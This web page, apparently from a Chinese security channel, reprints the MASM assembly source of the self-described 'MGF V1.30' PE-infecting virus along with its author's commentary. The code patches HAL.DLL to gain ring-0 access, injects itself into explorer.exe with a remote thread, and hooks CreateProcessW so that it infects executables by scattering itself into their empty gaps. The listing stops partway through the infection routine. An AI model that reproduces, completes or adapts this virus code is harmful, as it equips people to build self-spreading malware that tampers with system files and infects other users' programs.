网络安全 频道

MGF病毒最新版本的源代码(V1.30)

;MGF V1.3的源代码:
;大家好!我是MGF。2年前因为我的MGF给很多人带来了麻烦,所以我“闭门思过”埋头工作,消身匿迹近2年。现在看到“风声过去了”,
;才敢浮头露露面。现在我最新的改进过的MGF又出来了(没有散布),还是我的一贯作风,没有破坏,只讲技术,希望看过以下代码的朋
;友能够学到一些技术,有所启发。


;相关技术:
;1,HOOK HAL.DLL的ExAcquireFastMutex()。在函数执行前先执行我的代码,往IDT里添加INT FE陷阱门。重新启动后就可以通过它进入RING0;
;(这下微软又犯错了,没有保护HAL.DLL,而且ExAcquireFastMutex()是第一个被导出的函数(很方便HOOK),又是一个执行得很频繁的函数。
;该方法比修改NTLDR更难于利用,是我发现的能够进入RING0的2个漏洞之一(第一个NTLDR漏洞大家都知道了)。我已经发邮件把代码给微软,
;但没有结果,看来还要继续骂MS!)

;2,用新方法HOOK CreateProcessW()来感染文件。CreateProcessW()只是调用了一个CreateProcessInternalW()来完成自身的功能,它的具体
;代码是:

;Exported fn(): CreateProcessW - Ord:0060h
;:77E41B8A 55                      push ebp
;:77E41B8B 8BEC                    mov ebp, esp
;:77E41B8D 6A00                    push 00000000
;:77E41B8F FF752C                  push [ebp+2C] //CreateProcessW()的第10个参数
;:77E41B92 FF7528                  push [ebp+28] //CreateProcessW()的第9个参数
;:77E41B95 FF7524                  push [ebp+24] //CreateProcessW()的第8个参数
;:77E41B98 FF7520                  push [ebp+20] //CreateProcessW()的第7个参数
;:77E41B9B FF751C                  push [ebp+1C] //CreateProcessW()的第6个参数
;:77E41B9E FF7518                  push [ebp+18] //CreateProcessW()的第5个参数
;:77E41BA1 FF7514                  push [ebp+14] //CreateProcessW()的第4个参数
;:77E41BA4 FF7510                  push [ebp+10] //CreateProcessW()的第3个参数
;:77E41BA7 FF750C                  push [ebp+0C] //CreateProcessW()的第2个参数
;:77E41BAA FF7508                  push [ebp+08] //CreateProcessW()的第1个参数
;:77E41BAD 6A00                    push 00000000
;* Reference T KERNEL32.CreateProcessInternalW
;                                  |
;:77E41BAF E83EBE0100              call 77E5D9F2 //注意这条CALL指令,只要把它的机器码E8后面的相对地址指向自己的代码就可以HOOK了
;:77E41BB4 5D                      pop ebp
;:77E41BB5 C22800                  ret 0028

;如何找到这条CALL 指令呢?只要在CreateProcessW()开始处搜索086A00E8这个特征就可以了,08是push [ebp+08]的机器码FF7508的一部分,
;它和后面的push 00000000的机器码6A00连在一起,而6A00又和call 77E5D9F2的机器码E8连在一起,所以只要找到086A00E8这个特征,就可
;以找到call 77E5D9F2 || call KERNEL32.CreateProcessInternalW这条指令。

;3,采用把自身分成几段后插入PE文件的空隙来感染文件,不增加文件长度。用自身的函数搜索被感染PE文件里连续几十个为0的空间,把找到
;的空间收集起来,如果这些空间能够装得下病毒,就感染,否则不感染。这样,病毒有一个要求:必须有一个引导代码,把分散在宿主进程里
;的代码收集合并到分配的内存里,这个0x1d0大小的引导代码是不能被分割的,被感染PE文件里必须有一个连续空间可以容得下该0x1d0大小的
;引导代码,否则即使文件的总空隙比病毒大,可以装得下病毒,但也不感染。

;本病毒可以用MASM编译成功后直接运行,在内存感染文件的功能已经被我用JMP指令跳过,编译后的大小0xb23(2951)字节,可以感染WINDOWS
;带的calc.exe,charmap.exe,sol.exe,notepad.exe,osk.exe等,但感染安装文件时可能会破坏安装文件,因为安装文件要进行自解压,CRC验校
;等(已经测试过)。


.586p
.model flat,stdcall
option casemap:none


include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
include mpr.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib mpr.lib


VirusSize = offset VirusEnd-offset VirusStart


.code
VirusStart:
;int 3
nop
pushad

db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx ;计算重定位值,做了一些变形

.if ebx
mov edx,[esp+24h]
.else
mov edx,[esp+20h]
.endif
call _GetModuleAddress
mov ebp,eax ;EBP=hKernel32

bt eax,31
jc _ErrorExit ;如果是WINDOWS 9X,返回原来程序入口

push 0A5171D00h ;VirtualAlloc()的自定义编码
push ebp        ;hKernel32
call _GetProcAddress ;先获取VirtualAlloc()的地址
or eax,eax
jz _ErrorExit

push 40h
push 1000h
push 1000h
push 0
call eax ;调用VirtualAlloc()分配4K内存
or eax,eax
jz _ErrorExit

mov edi,eax

lea edx,_SectionAddress[ebx]
.while dword ptr [edx]
mov esi,[edx]
mov ecx,[edx+4]
rep movsb ;把分散在宿主进程的病毒体收集合并到申请的内存里
add edx,8
.endw

lea ecx,[eax+(offset _NewStart-offset VirusStart)]
jmp ecx ;跳到新地址继续执行

_ErrorExit:
popad
ret

;根据函数自定义编码来获取函数地址的子程序,比如VirtualAlloc()的自定义编码是0A5171D00h
_GetProcAddress proc _hModule,_ProcName
pushad

mov edx,_hModule
add edx,[edx+3ch]
mov edx,[edx+78h]
add edx,_hModule
mov ecx,[edx+18h]
mov esi,[edx+20h]
add esi,_hModule

@@:
push ecx
lodsd
add eax,_hModule
xor edi,edi
.repeat
mov ecx,[eax]
inc eax
adc edi,ecx
rol ecx,8
.until cl==0
cmp edi,_ProcName
pop ecx
loopnz @b

.if ZERO?
sub esi,4
sub esi,_hModule
sub esi,[edx+20h]
shr esi,1
add esi,[edx+24h]
add esi,_hModule
lodsd
movzx eax,ax
shl eax,2
add eax,[edx+1ch]
add eax,_hModule
mov edx,[eax]
add edx,_hModule
mov [esp+1ch],edx
.else
mov dword ptr [esp+1ch],0
.endif

popad
ret
_GetProcAddress endp

;获取hKernel32地址的子程序
;in=edx, out=eax
_GetModuleAddress:
@@:
and dx,0f000h
sub edx,1000h
cmp word ptr [edx],''ZM''
jnz @b
mov eax,edx
add edx,[edx+3ch]
cmp dword ptr [edx],''EP''
jnz @b
ret


dwOldEntryCom db 0,0,0,0,0 ;保存被感染PE文件原程序入口前5个字节的变量

;段链表,它记录了病毒分散在PE文件各处的病毒体的地址和大小
_SectionAddress:
dd offset VirusStart
dd VirusSize
dd 18h*2 dup(0)

;新执行点,在引导代码把病毒体收集合并到申请的内存后,就跳到这里执行。从这里往前到VirusStart之间的代码是引导代码,不能分割
_NewStart:
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
xchg ebx,edx ;重定位

.if edx ;如果在宿主进程运行,恢复进程原来的入口代码
sub dword ptr [esp+20h],5
mov edx,[esp+20h]
mov al,dwOldEntryCom[ebx]
mov [edx],al
mov eax,dword ptr dwOldEntryCom[ebx+1]
mov [edx+1],eax
.endif

;以下程序块获取所有需要的API地址
lea esi,FunctionNameTab[ebx]
lea edi,FunctionAddressTab[ebx]
@@:
lodsd
push eax
push ebp
call _GetProcAddress
stosd
cmp dword ptr [esi],0
loopnz @b
lea eax,szGetLastError[ebx]
push eax
push ebp
call dwGetProcAddress[ebx]
stosd

mov edx,398h
lar eax,edx
.if eax==00cffb00h ;如果在GDT里找到特征码,进入RING0
int 0feh
mov eax,esp
mov esp,[esp+8]
push eax

mov eax,cr0
push eax
btr eax,16
mov cr0,eax

mov edx,dwCreateProcessInternalW[ebx]
sub edx,ebp
lea ecx,[edx-(380h+(offset _JmpOffset-offset VirusStart))]
mov dword ptr _JmpOffset[ebx-4],ecx ;计算CALL指令的地址差

lea edi,[ebp+380h]
lea esi,VirusStart[ebx]
push 16
pop ecx
pushad
repz cmpsb ;判断病毒是否已经驻留内存
popad
.if !ZERO?
mov ecx,VirusSize
rep movsb ;驻留内存

mov edx,dwCreateProcessW[ebx]
mov ecx,80h
@@:
inc edx
cmp dword ptr [edx],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码
loopnz @b
lea ecx,[edx+8]
sub ecx,ebp
sub ecx,380h+offset _NewCreateProcessW-offset VirusStart
neg ecx
mov [edx+4],ecx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW()
.endif

pop eax
mov cr0,eax

pop esp
lea eax,@f[ebx]
push eax
db 0cfh ;IRETD指令,返回RING3
@@:

.else ;如果只第一次运行,内存中没有陷阱门,就修改HAL.DLL,建立远程线程到EXPLORER.EXE里HOOK CreateProcessW()感染文件
lea eax,szGetLastError[ebx]
push eax
push 1
push 0
call dwCreateMutexA[ebx] ;用MUTEX来保证远程线程只建立一次
call dwGetLastError[ebx]
.if eax!=0b7h

enter 200h,0

mov edi,esp
push 60h
push edi
call dwGetSystemDirectoryW[ebx]
shl eax,1
mov dword ptr [edi+eax],0068005ch
mov dword ptr [edi+eax+4],006c0061h
mov dword ptr [edi+eax+8],0064002eh
mov dword ptr [edi+eax+12],006c006ch
mov dword ptr [edi+eax+16],0 ;构造c:\windows\system32\hal.dll字符串(UNICODE码)
push 1
push edi
call _EditFile ;修改HAL.DLL文件,HOOK ExAcquireFastMutex()

xor esi,esi
.repeat
push 5000
call dwSleep[ebx]
push 0
push 2
call dwCreateToolhelp32Snapshot[ebx] ;搜索EXPLORER.EXE进程
mov [ebp-4],eax

mov dword ptr [edi],128h
push edi
push eax
call dwProcess32First[ebx]
.while eax
lea edx,[edi+24h]
push 12
push edx
call _Str2Upper
.if dword ptr [edi+24h]==''LPXE'' && dword ptr [edi+24h+4]==''RERO'' && dword ptr [edi+24h+8]==''EXE.''

push dword ptr [edi+8]
push esi
push 2ah
call dwOpenProcess[ebx] ;打开EXPLORER.EXE进程
.if eax
mov [ebp-8],eax
push 40h
push 1000h
push 1000h
push esi
push eax
call dwVirtualAllocEx[ebx] ;在EXPLORER.EXE进程里分配内存
mov edi,eax
lea edx,VirusStart[ebx]
push esi
push 1000h
push edx
push edi
push dword ptr [ebp-8]
call dwWriteProcessMemory[ebx] ;把病毒体写入EXPLORER.EXE进程里
lea eax,[edi+(offset _RemoteThread-offset VirusStart)]
push esi
push esi
push esi
push eax
push esi
push esi
push dword ptr [ebp-8]
call dwCreateRemoteThread[ebx] ;在EXPLORER.EXE进程里建立远程线程
push dword ptr [ebp-8]
call dwCloseHandle[ebx]
mov esi,esp
.break
.endif
.endif

push edi
push dword ptr [ebp-4]
call dwProcess32Next[ebx]
.endw

push dword ptr [ebp-4]
call dwCloseHandle[ebx]
.until esi

leave

.endif

.endif

popad
ret

;在EXPLORER里建立的远程线程,功能是HOOK CreateProcessW(),感染文件
_RemoteThread proc p1
pushad
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx

lea eax,szGetLastError[ebx]
push eax
push 1
push 0
call dwCreateMutexA[ebx] ;建立MUTEX

mov edi,dwCreateProcessW[ebx]
push ecx
push esp
push 40h
push 1000h
push edi
call dwVirtualProtect[ebx] ;去除CreateProcessW()所在内存页的只读属性
pop ecx

.if eax
mov edx,dwCreateProcessInternalW[ebx]
lea ecx,_JmpOffset[ebx]
sub edx,ecx
mov dword ptr _JmpOffset[ebx-4],edx ;计算2条指令间的相对地址

mov ecx,80h
@@:
inc edi
cmp dword ptr [edi],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码
loopnz @b
lea ecx,[edi+8]
lea edx,_NewCreateProcessW[ebx]
sub edx,ecx
mov [edi+4],edx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW()
.endif

popad
ret
_RemoteThread endp


_NewCreateProcessW: ;被HOOK后的CreateProcessW()
pushad
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx ;重定位

mov edi,[esp+20h+12]
inc edi
inc edi
mov esi,edi
push 22h
pop eax
mov ecx,100h
repnz scasw
mov byte ptr [edi-2],0 ;处理CreateProcessW()的参数

jmp @f ;这条指令使系统跳过了下面的感染PE文件的函数,各位如果想跟踪感染文件过程,可以在跟踪到这里时使EIP=EIP+2,继续跟踪感染文件的过程
push 0
push esi
call _EditFile ;感染将被CreateProcessW()执行的PE文件
@@:

mov byte ptr [edi-2],22h
popad
db 0e9h
dd 0
_JmpOffset:


_EditFile proc _lpFileName,_dwFlag ;感染文件的子程序,_dwFlag=0时感染普通PE文件,_dwFlag=1时修改HAL.DLL文件
local @hFile
local @hFileMap
local @lpFileMap
local @dwFileSize
local @dwFileAttributes
local @stFileTime1:FILETIME
local @stFileTime2:FILETIME
local @stFileTime3:FILETIME
local @szTempBuffer[100h]:byte
pushad

push _lpFileName
call dwGetFileAttributesW[ebx]
.if eax!=-1
mov @dwFileAttributes,eax

push 80h
push _lpFileName
call dwSetFileAttributesW[ebx]

push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push _lpFileName
call dwCreateFileW[ebx]
.if eax!=-1
mov @hFile,eax

push eax
call dwGetFileType[ebx]
.if eax==FILE_TYPE_DISK

push 0
push @hFile
call dwGetFileSize[ebx]
mov @dwFileSize,eax

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwGetFileTime[ebx]

push 0
push 0
push 0
push 4
push 0
push @hFile
call dwCreateFileMappingW[ebx]
.if eax
mov @hFileMap,eax

push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
.if eax
mov @lpFileMap,eax

.if word ptr [eax]==''ZM''
.if dword ptr [eax+38h]!=''FGM''
add eax,[eax+3ch]
.if dword ptr [eax]==''EP''
bt dword ptr [eax+16h],13
.if !CARRY?

lea edi,@szTempBuffer
mov eax,@lpFileMap
mov edx,@dwFileSize
push 18h
pop ecx
@@:
push ecx

push VirusSize/18h
push edx
push eax
call _FindSpace ;在被感染PE文件里搜索空间
.if eax
push eax
push 0
push eax
push @lpFileMap
call _TranslateAddr ;判断找到的空间是否有效
cmp eax,1
pop eax
jl _EditFile1
stosd ;保存有效空间的地址到段链表
xchg eax,edx
0
相关文章